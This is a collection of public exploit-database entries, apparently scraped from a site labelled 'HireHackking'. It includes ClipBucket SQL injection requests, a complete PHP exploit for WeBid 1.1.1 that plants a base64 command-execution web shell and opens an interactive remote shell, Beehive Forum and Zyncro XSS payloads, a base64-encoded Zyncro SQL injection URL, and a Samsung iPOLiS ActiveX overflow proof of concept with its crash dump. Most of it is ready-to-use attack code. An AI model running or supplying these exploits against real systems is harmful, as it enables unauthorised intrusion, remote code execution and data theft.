VULNERABILITY: Blind SQL Injection
##################################
   
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
  
= POC =
GET /clipbucket/view_item.php?item=a%27%20or%20%27a%27=%27a&type=photos&collection=9	=> True Condition
GET /clipbucket/view_item.php?item=a%27%20or%20%27a%27=%27b&type=photos&collection=9	=> False Condition (Item does not exist.)
   
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
HireHackking 
<?php
  
/*
  
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /       
  / XXXXXX /
 (________(         
  `------'
   
 Exploit Title   : WeBid 1.1.1 Unrestricted File Upload Exploit
 Date            : 20 February 2015
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://www.webidsupport.com/
 Software Link   : http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.1.1/WeBid-1.1.1.zip/download
 Version         : 1.1.1
 Tested on       : Window and Linux
   
   
#####################################################
VULNERABILITY: Arbitrary File Upload Vulnerability
#####################################################
   
/ajax.php
/inc/plupload/examples/upload.php
  
#####################################################
DESCRIPTION
#####################################################
   
This exploit a file upload vulnerability found in WeBid 1.1.1, and possibly prior. Attackers can abuse the 
upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.
  
#####################################################
EXPLOIT
#####################################################
   
*/
  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
  
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
   
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
  
print "\n+----------------------------------------+";
print "\n| WeBid Unrestricted File Upload Exploit |";
print "\n+----------------------------------------+\n";
   
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /WeBid/\n";
    die();
}
  
$host = $argv[1];
$path = $argv[2];
   
$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"name\"\r\n\r\n";
$payload .= "shell.php\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}ajax.php?do=uploadaucimages HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Cookie: PHPSESSID=cwh"."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

print "\n\nExploiting...";
sleep(2);
print "Waiting for shell...\n";
sleep(2);

http_send($host, $packet);
  
$packet  = "GET {$path}uploaded/cwh/shell.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

   print "\n  ,--^----------,--------,-----,-------^--,   \n";
   print "  | |||||||||   `--------'     |          O   \n";
   print "  `+---------------------------^----------|   \n";
   print "    `\_,-------, _________________________|   \n";
   print "      / XXXXXX /`|     /                      \n";
   print "     / XXXXXX /  `\   /                       \n";
   print "    / XXXXXX /\______(                        \n";
   print "   / XXXXXX /                                 \n";
   print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
   print " (________(                                   \n";
   print "  `------'                                    \n";
      
while(1)
{
    print "\nWebid-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

################################################################################################################
# Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>
HireHackking 
Document Title:
============
Beehive Forum v1.4.4 Stored XSS Vulnerability

Author:
==============
Halil Dalabasmaz

Release Date:
===========
23 Feb 2015

Product & Service Introduction:
========================
Beehive is an open-source project for creating a high-configurable
frame-based discussion forum.

Vendor Homepage:
=================
http://www.beehiveforum.co.uk

Abstract Advisory Information:
=======================
BGA Security Team discovered an Stored XSS vulnerability in 
Beehive Forum v1.4.4

Vulnerability Disclosure Timeline:
=========================
20 Feb 2015 -   Contact with Vendor
21 Feb 2015	-   Vendor Response
22 Feb 2015 -   Vendor Fix
23 Feb 2015 -   Confirm Fix
23 Feb 2015 -   Public Disclosure

Discovery Status:
=============
Published

Affected Product(s):
===============
Beehive Forum v1.4.4 

Exploitation Technique:
==================
Remote, Unauthenticated

Severity Level:
===========
High

Technical Details & Description:
========================
Stored XSS

Tested On:
============
Iceweasel & Chromium

Sample Payload:
=================
http://"><script>alert('XSS');</script>

Proof of Concept (PoC):
=======================
Proof of Concept

The vulnerable inputs are "Homepage URL", "Picture URL" and "Avatar URL" on Profile Section.
Following line contain the vulnerability in edit_prefs.php; 

    if (isset($_POST['homepage_url'])) {

        $user_prefs['HOMEPAGE_URL'] = trim($_POST['homepage_url']);
        $user_prefs_global['HOMEPAGE_URL'] = (isset($_POST['homepage_url_global'])) ? $_POST['homepage_url_global'] == "Y" : true;

        if (strlen(trim($user_prefs['HOMEPAGE_URL'])) > 0) {

            if (preg_match('/^http:\/\//u', $user_prefs['HOMEPAGE_URL']) < 1) {
                $error_msg_array[] = gettext("Homepage URL must include http:// schema.");
                $valid = false;

            } else if (!user_check_pref('HOMEPAGE_URL', $user_prefs['HOMEPAGE_URL'])) {

                $error_msg_array[] = sprintf(gettext("%s contains invalid characters!"), gettext("Homepage URL"));
                $valid = false;
            }
        }
    }

    if (isset($_POST['pic_url'])) {

        $user_prefs['PIC_URL'] = trim($_POST['pic_url']);
        $user_prefs_global['PIC_URL'] = (isset($_POST['pic_url_global'])) ? $_POST['pic_url_global'] == "Y" : true;

        if (strlen(trim($user_prefs['PIC_URL'])) > 0) {

            if (preg_match('/^http:\/\//u', $user_prefs['PIC_URL']) < 1) {
                $error_msg_array[] = gettext("Picture URL must include http:// schema.");
                $valid = false;

            } else if (!user_check_pref('PIC_URL', $user_prefs['PIC_URL'])) {

                $error_msg_array[] = sprintf(gettext("%s contains invalid characters!"), gettext("Picture URL"));
                $valid = false;
            }
        }
    }

   if (strlen(trim($user_prefs['AVATAR_URL'])) > 0) {

      if (preg_match('/^http:\/\//u', $user_prefs['AVATAR_URL']) < 1) {
         $error_msg_array[] = gettext("Avatar URL must include http:// schema.");
         $valid = false;

         } else if (!user_check_pref('AVATAR_URL', $user_prefs['AVATAR_URL'])) {

               $error_msg_array[] = sprintf(gettext("%s contains invalid characters!"), gettext("Avatar URL"));
               $valid = false;
            }
        }

Solution Fix & Patch:
================
Upgrade the the script.

Security Risk:
==========
The risk of the vulnerabilities above estimated as high.

Disclaimer & Information:
===================
The information provided in this advisory is provided as it is without 
any warranty. BGA disclaims all  warranties, either expressed or 
implied, including the warranties of merchantability and capability for 
a particular purpose. BGA or its suppliers are not liable in any case of 
damage, including direct, indirect, incidental, consequential loss of 
business profits or special damages.
			
Domain:     www.bga.com.tr
Social:     twitter.com/bgasecurity
Contact:    advisory@bga.com.tr
	
Copyright © 2015 | BGA - Bilgi Güvenliği Akademisi
HireHackking 
<!--
# Exploit Title: (0day)Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue Remote Code Execution PoC (CVE-2015-0555)
# Date: 22/02/2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: *https://www.samsung-security.com/Tools/device-manager.aspx
# Version: Samsung iPOLiS 1.12.2
# Tested on: Windows 7 Ultimate N SP1
# CVE: 2015-0555
-->

<html>
<!--
Vulnerability found and PoC coded by Praveen Darshanam
http://blog.disects.com
CVE-2015-0555
targetFile = "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype  = "Function WriteConfigValue ( ByVal szKey As String ,  ByVal szValue As String ) As Long"
memberName = "WriteConfigValue"
progid     = "XNSSDKDEVICELib.XnsSdkDevice"
Operating System = Windows 7 Ultimate N SP1
Vulnerable Software = Samsung iPOLiS 1.12.2
CERT tried to coordinate but there wasn't any response from Samsung
-->
<head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue Remote Code Execution PoC </head>
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>
var arg1 = "";
var arg2="praveend";

for (i=0; i<= 15000; i++)
{
	arg1 += "A";
}

target.WriteConfigValue(arg1 ,arg2);

</script>
</html>

<!--
#############Stack Trace####################
Exception Code: ACCESS_VIOLATION
Disasm: 149434	MOV AL,[ESI+EDX]

Seh Chain:
--------------------------------------------------
1 	647C7D7D 	mfc100.dll
2 	647D0937 	mfc100.dll
3 	64E242CA 	VBSCRIPT.dll
4 	77B3E0ED 	ntdll.dll


Called From                   Returns To
--------------------------------------------------
XNSSDKDEVICE.149434           41414141
41414141                      414141
414141                        3DA4C4
3DA4C4                        mfc100.647790C1
mfc100.647790C1               56746C75


Registers:
--------------------------------------------------
EIP 00149434
EAX 00003841
EBX 00609FB0 -> 0015A564
ECX 00003814
EDX 00414141
EDI 0000008F
ESI 0000008F
EBP 002BE5FC -> Asc: AAAAAAAAAAA
ESP 002BE564 -> 0000000C


Block Disassembly:
--------------------------------------------------
149423	XOR EDI,EDI
149425	XOR ESI,ESI
149427	MOV [EBP-8C],ECX
14942D	TEST ECX,ECX
14942F	JLE SHORT 00149496
149431	MOV EDX,[EBP+8]
149434	MOV AL,[ESI+EDX]	  <--- CRASH
149437	CMP AL,2F
149439	JNZ SHORT 00149489
14943B	MOV ECX,EBX
14943D	TEST ESI,ESI
14943F	JNZ SHORT 0014944D
149441	PUSH 159F28
149446	CALL 0014F7C0
14944B	JMP SHORT 00149476


ArgDump:
--------------------------------------------------
EBP+8	00414141
EBP+12	003DA4C4 -> Asc: defaultV
EBP+16	647790C1 -> EBE84589
EBP+20	FFFFFFFE
EBP+24	646CBE5C -> CCCCCCC3
EBP+28	0000001C


Stack Dump:
--------------------------------------------------
2BE564 0C 00 00 00 00 E6 2B 00 B0 93 14 00 14 38 00 00  [................]
2BE574 C4 A4 3D 00 41 41 41 41 41 41 41 41 41 41 41 41  [................]
2BE584 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
2BE594 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
2BE5A4 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]

-->
HireHackking 
source: https://www.securityfocus.com/bid/49741/info

Zyncro social network is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com//zwall/list/filter//appIdFilter//shareGroupUrnFilter/c3luY3J1bTpzaGFyZWdyb3VwOjMyYjMyZjljLTg3OWEtNDRjNC05ZWY1LTE2ZDQ4YTlhYTE2Nycgb3IgJzEnIGxpa2UgJzEnIGxpbWl0IDIwMCAtLQ==/shareGroupTypeFilter//shareDocumentUrnFilter/?popup=1&ayuda=&actualSection=folders&plainView=1&rand=9809
HireHackking 
source: https://www.securityfocus.com/bid/49740/info

Zyncro is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Note: To exploit these issues, an attacker must have the ability to create a new group and capture the packets transferred.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting victim in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Zyncro 3.0.1.20 is vulnerable; other versions may also be affected. 

One of the functionalities of Zyncro is the possibility of creating
groups. The name and description of the groups are not correctly
sanitized and it's possible to provoke some attacks.

In order to do the attack, you must create a new group and capture the
packet transferred to the server to modify it because validation is
done in client-side (only) using javascript.

The original request has three POST data parameters like:
popup=1   &   name=dGVzdA%3D%3D   &   description=dGVzdA%3D%3D

Important data are 'name' and 'description' parameters, which are
base64 encoded. In this case, both values are 'test':
 url_decode(dGVzdA%3D%3D)
 b64decode(dGVzdA==)
 test

It is possible to provoke the XSS by changing those values as follows:
"><script>alert("XSS attack")</script>

Values MUST be in base64, so:
b64encode(""><script>alert("XSS attack")</script>") =
Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4=

Finally the post-data of the request would become:
popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d

Once the request has reached the server, a new group would be created
and any time that someone sees the name/description of the group, a
pop-up would appear, this is the easiest attack.